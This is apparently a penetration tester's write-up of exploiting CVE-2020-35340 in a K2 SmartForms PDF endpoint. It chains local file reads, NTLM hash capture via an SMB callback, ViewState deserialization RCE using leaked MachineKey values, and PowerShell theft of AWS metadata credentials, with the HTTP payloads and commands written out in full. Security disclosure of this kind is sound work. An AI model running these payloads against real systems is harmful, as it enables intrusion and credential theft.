Disclaimer

This blog post contains details about the identification and exploitation of real-world vulnerabilities identified during client engagements. Information such as screenshots, payloads, names etc. have been modified/obscured to protect the identity and security of the targeted organisation.

During a recent engagement against a web application, a known vulnerability, CVE-2020-35340 was exploited to gain remote code execution on the server hosting the application.

Exploiting CVE-2020-35340

During the engagement, functionality was found to generate a PDF file by providing HTML to convert in a POST request. Upon testing it was found that this could be used to render any HTML content we provide into a PDF.

POST /Runtime/Runtime/SaveAsPDFHandler.handler HTTP/2
Host: [... redacted ..]
[..]

SmartObjectGuid=<REDACTED>&SmartObjectMethod=mWq-bZI5F-lt1MK5wAjeSqOKYwCA-UWqphTRauPvV6jtg-FZvEqMC2txk01q67JS3rghN9FHwmxyr1vdkX7fjFEfEiP0ABX6wftug88TWYAqCGiAN8bSUerCN_thKk-0ONXxDR7CEa3wJCuFCEgNgb-1wRCQ4lHb_D6Sj9NbmUuwzVbCPGHl9k1pQTrxzbdc0&FileProperty=PDF&KeyPropertyName=ID&HTML=<html><body>test</body></html>

[..]

At this point you may ask, so what? You can turn a webpage into a PDF, great. The conversion of HTML into a PDF, and the associated libraries/tools used, often have security issues in the way it will generate this PDF.

Historically this has led to server-side request forgery (SSRF), including the ability to obtain access into the AWS environment and the ability to read local files on the server. This case is no exception, one of the document properties of the PDF tells us what software library (Expert PDF v12.3.0) was used to generate the PDF.

This library has a vulnerability identified as CVE-2020-35340, which can be exploited to read files on the server. Details and a proof of concept can be found here.

In short, all you need to do is pass the HTML:

<object width=600 height=1000 data='C:/windows/system32/drivers/etc/hosts' type='text/plain'></object>

The above payload uses the "object" HTML attribute, specifying the value (i.e. "data") for this attribute to be equal to a file that exists on the machine that runs the HTML to PDF conversion. When we use the payload, we see that we can read local files on the server.

POST /Runtime/Runtime/SaveAsPDFHandler.handler HTTP/2
Host: [... redacted ..]
[..]

SmartObjectGuid=<REDACTED>&SmartObjectMethod=mWq-bZI5F-lt1MK5wAjeSqOKYwCA-UWqphTRauPvV6jtg-FZvEqMC2txk01q67JS3rghN9FHwmxyr1vdkX7fjFEfEiP0ABX6wftug88TWYAqCGiAN8bSUerCN_thKk-0ONXxDR7CEa3wJCuFCEgNgb-1wRCQ4lHb_D6Sj9NbmUuwzVbCPGHl9k1pQTrxzbdc0&FileProperty=PDF&KeyPropertyName=ID&HTML=<html><body><object width=600 height=1000 data='C:/windows/system32/drivers/etc/hosts' type='text/plain'></object></body></html>

[..]

Now we have confirmed that we can read local files on the server. Since this is a Windows server we were able to make it authenticate to one of SilentGrid's servers using the Net-NTLM protocol, connecting to our machine over SMB (Port 445).

To do this we sent the payload:

POST /Runtime/Runtime/SaveAsPDFHandler.handler HTTP/2
Host: [... redacted ..]
[..]

SmartObjectGuid=<REDACTED>&SmartObjectMethod=mWq-bZI5F-lt1MK5wAjeSqOKYwCA-UWqphTRauPvV6jtg-FZvEqMC2txk01q67JS3rghN9FHwmxyr1vdkX7fjFEfEiP0ABX6wftug88TWYAqCGiAN8bSUerCN_thKk-0ONXxDR7CEa3wJCuFCEgNgb-1wRCQ4lHb_D6Sj9NbmUuwzVbCPGHl9k1pQTrxzbdc0&FileProperty=PDF&KeyPropertyName=ID&HTML=<html><body><object width=600 height=1000 data='\\<REDACTED>\test.jpg' type='text/plain'></object></body></html>

[..]

With our server running Responder, allowed us to capture the Net-NTLMv2 hash for the user running the web server:

We were able to crack this Net-NTLMv2 hash using hashcat, but a scan of the server showed no open ports of use for gaining access.

When enumerating the server, it was found that the website was created using the K2 SmartForms application. K2 SmartForms, as it turns out, has a configuration file called Web.config. By default this is at the location "C:\Program Files (x86)\K2 blackpearl\K2 smartforms Runtime\Web.config".

With this knowledge, we exploited the vulnerability to read this configuration file:

POST /Runtime/Runtime/SaveAsPDFHandler.handler HTTP/2
Host: [... redacted ..]
[..]

SmartObjectGuid=<REDACTED>&SmartObjectMethod=mWq-bZI5F-lt1MK5wAjeSqOKYwCA-UWqphTRauPvV6jtg-FZvEqMC2txk01q67JS3rghN9FHwmxyr1vdkX7fjFEfEiP0ABX6wftug88TWYAqCGiAN8bSUerCN_thKk-0ONXxDR7CEa3wJCuFCEgNgb-1wRCQ4lHb_D6Sj9NbmUuwzVbCPGHl9k1pQTrxzbdc0&FileProperty=PDF&KeyPropertyName=ID&HTML=<html><body><object width=600 height=1000 data='C:\Program Files (x86)\K2 blackpearl\K2 smartforms Runtime\Web.config' type='text/plain'></object></body></html>

[..]

Getting code execution

Within the configuration file, were the decryption and validation key values for what is termed the MachineKey:

At this point you may ask, so what? For starters we need to briefly talk about ViewStates. In ASP.NET applications, there exists a thing called a ViewState. This can be used by ASP.NET applications to hold "states" in web pages. This allows the browser to store previously submitted or used values as a hidden parameter on the page.

This can be helpful to allow the browser to hold a state of what values in a "View" (web page) were submitted, after it was sent to the server. Hence the term ViewState. The browser will submit this ViewState in future requests, so the server can determine what values have been previously used/stored. It is a way of holding states without using say session cookies.

These ViewStates contain serialized .NET objects. A big security issue that could occur here is that the user could submit arbritrary serialized .NET objects leading to a deserialization vulnerability. In .NET this type of issue can almost always lead to remote code execution.

To stop this from occurring on every ASP.NET web application, encryption and/or hash signing was added to ViewStates, where these ViewStates first need to be validated and/or decrypted before they are deserialized.

This is where the values for the MachineKey (decryption and validation key) come into play. These are bytes written in hex that are used for encryption and hash signing. The default encryption used is AES, and the default hash signing algorithm is HMACSHA256, which matches the found keys.

So obtaining these values allows us to generate ViewStates that are encrypted/signed with the correct values in use by the ASP.NET application, leading to the ability to deserialize any .NET object, leading to code execution.

There exists a tool called ysoserial.net, that is specifically designed to generate various forms of serialized .NET objects, including ViewStates.

There is one additional piece of information required to generate a ViewState. This is the ViewState generator value, which is an additional variable used by the generation/encryption of the ViewState. This value is a hex string derived from the root path of the application (i.e. /) and the path of the endpoint that will use the ViewState (i.e. /test.aspx).

This value often appears in pages that use ViewStates and is submitted along with the ViewState itself. In this web application, we can see it being sent when a ViewState is sent:

POST /Runtime/Runtime/SaveAsPDFHandler.handler HTTP/2
Host: [... redacted ..]
[..]
&__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=/wEy4A[..]t&__VIEWSTATEGENERATOR=9AF2E822&__EVENTVALIDATION=%2FwEdAAO%2BzCUUDaLdaPrnSO59SCFjSUVVGCywfSRPdNyLlVKUvChoNoPe9hvBB4iTiQLqd0P7Met9lXFexTXQ2KH2%2F1r%2FtPeWjBUksP6mjlY7OqVwXQ%3D%3D

[..]

Here, the VIEWSTATEGENERATOR value is 9AF2E822.

Finally with all the pieces together, we can run ysoserial.net to create a ViewState that is signed with the correct key, that when deserialized, runs the command "cmd.exe /c systeminfo.exe > C:\Windows\Temp\sysinfo.txt".

After we send this ViewState in the above request, we can then read the newly created file and prove we have achieved remote code execution!

POST /Runtime/Runtime/SaveAsPDFHandler.handler HTTP/2
Host: [... redacted ..]
[..]

SmartObjectGuid=<REDACTED>&SmartObjectMethod=mWq-bZI5F-lt1MK5wAjeSqOKYwCA-UWqphTRauPvV6jtg-FZvEqMC2txk01q67JS3rghN9FHwmxyr1vdkX7fjFEfEiP0ABX6wftug88TWYAqCGiAN8bSUerCN_thKk-0ONXxDR7CEa3wJCuFCEgNgb-1wRCQ4lHb_D6Sj9NbmUuwzVbCPGHl9k1pQTrxzbdc0&FileProperty=PDF&KeyPropertyName=ID&HTML=<html><body><object width=600 height=1000 data='C:\Windows\Temp\sysinfo.txt' type='text/plain'></object></body></html>

[..]

Takeaway

Always ensure that not only is the main application up to date (in this case K2 SmartForms), but also that any external libraries are as well.

This can be something easy to miss as only the main application is checked and ensured to be updated, and developers will often forget to check the libraries used.

Side note - Using Remote Code Execution to Access AWS Metadata V2

With RCE achieved, it was decided to try and obtain access to the AWS environment (since this machine was hosted on AWS).

During testing, it was found that AWS Metadata V1 was disabled, meaning a single request couldn't be sent to obtain AWS credentials as this machine.

In short the main difference between V1 and V2 is that V2 requires the use of a custom header token, obtained by making a PUT request to the endpoint http://169.254.169.254/latest/api/token. This was achieved by using the PowerShell command:

powershell.exe iwr http://169.254.169.254/latest/api/token -Method PUT -Headers @{'X-aws-ec2-metadata-token-ttl-seconds'='21600'}  -UseBasicParsing -o C:\Windows\Temp\m.txt

With this token, we can then make requests using the custom header X-aws-ec2-metadata-token with value equal to the token. For starters we can obtain the IAM roles assigned to this machine:

powershell.exe iwr http://169.254.169.254/latest/meta-data/iam/security-credentials/ -Headers @{'X-aws-ec2-metadata-token'='AQAE<REDACTED>WA=='}  -UseBasicParsing -o C:\Windows\Temp\m.txt

Then obtain a set of AWS Access, Secret and Session keys, allowing access to the AWS environment this server is a part of:

powershell.exe iwr http://169.254.169.254/latest/meta-data/iam/security-credentials/cfs-<REDACTED> -Headers @{'X-aws-ec2-metadata-token'='AQAE<REDACTED>WA=='}  -UseBasicParsing -o C:\Windows\Temp\m.txt